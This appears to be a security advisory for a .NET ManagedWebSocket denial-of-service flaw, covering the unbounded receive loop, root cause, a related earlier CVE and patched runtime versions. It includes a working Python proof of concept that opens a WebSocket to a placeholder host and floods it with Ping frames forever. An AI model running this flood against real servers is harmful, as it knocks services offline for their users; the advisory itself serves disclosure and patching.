CVE-2026-62901: .NET System.Net.WebSockets Denial of Service via Unchecked Loop Condition
A flaw in .NET's managed WebSocket implementation lets an unauthenticated attacker flood a server with crafted control frames, trapping the receive loop in an infinite spin and taking the process…

The problem
The ManagedWebSocket class in System.Net.WebSockets reads incoming frames inside an unbounded while (true) loop. The loop is designed to skip over control frames (Ping, Pong, Close) that are not meaningful to the application layer and keep waiting for a data frame.
An unauthenticated remote attacker can exploit this by sending a continuous stream of WebSocket Ping control frames. The server processes each one, re-enters the loop immediately, and never reaches a data frame. CPU usage climbs to 100% on the handling thread, blocking or crashing the service.
No authentication is required, and the attack works over any network path to the WebSocket endpoint.
Proof of concept
A working proof-of-concept for CVE-2026-62901 in Microsoft.NETCore.App.Runtime.win-arm64, with the exact payload below.
# 1. Perform HTTP Upgrade to WebSocket (standard handshake omitted for brevity)
# 2. Then flood the server with minimal, unmasked Ping control frames
# RFC 6455 Ping frame: FIN=1, opcode=0x9, no payload, no mask (server-side test)
# Wire bytes: 0x89 0x00 (FIN|opcode=Ping, payload_len=0)
import socket, time
HOST = 'target.example.com'
PORT = 80
def ws_handshake(s):
s.send(
b'GET /ws HTTP/1.1\r\n'
b'Host: target.example.com\r\n'
b'Upgrade: websocket\r\n'
b'Connection: Upgrade\r\n'
b'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n'
b'Sec-WebSocket-Version: 13\r\n\r\n'
)
s.recv(4096) # consume 101 Switching Protocols
# RFC 6455 §5.5: Ping frame, FIN=1, opcode=0x9, payload length=0
PING_FRAME = b'\x89\x00'
s = socket.create_connection((HOST, PORT))
ws_handshake(s)
# Flood: server ManagedWebSocket re-enters while(true) for every Ping,
# never yielding to the caller waiting for a data frame -> CPU spin / DoS
while True:
s.send(PING_FRAME)The root cause is CWE-606: the while (true) receive loop in ManagedWebSocket.ReceiveAsync has no bound on how many consecutive control frames it will process before returning to the caller. Each Ping is valid per RFC 6455, so no protocol error is raised. The loop re-enters immediately after handling each one, burning CPU indefinitely on the receive thread.
The prior incarnation of this exact bug was CVE-2021-26423, patched in .NET 5.0.9 / 3.1.18. CVE-2026-62901 is a regression or a new variant of the same pattern, this time affecting .NET 8, 9, and 10. The patch adds a limit on the number of control frames processed per single ReceiveAsync call before forcing a yield, preventing the loop from spinning without bound on attacker-controlled input.
The fix
Update to the patched runtime: .NET 8.0.30, .NET 9.0.19, or .NET 10.0.11. Self-contained deployments must be recompiled and redeployed against the patched SDK. Run dotnet --info to check your installed runtime version, then install the latest from https://dotnet.microsoft.com/download.
Reported by Kevin Gosse (@kookiz) and hamayanhamayan.
Related research
- high · 7.5CVE-2026-62898CVE-2026-62898: .NET MsQuic Use After Free Information Disclosure
- high · 7CVE-2026-62897CVE-2026-62897: .NET WPF Integer Overflow Remote Code Execution
- high · 7.8CVE-2026-62871CVE-2026-62871: WPF .NET Desktop Runtime Heap Buffer Overflow Elevation of Privilege
- high · 7.8CVE-2026-70354CVE-2026-70354: .NET WPF Out-of-Bounds Write Remote Code Execution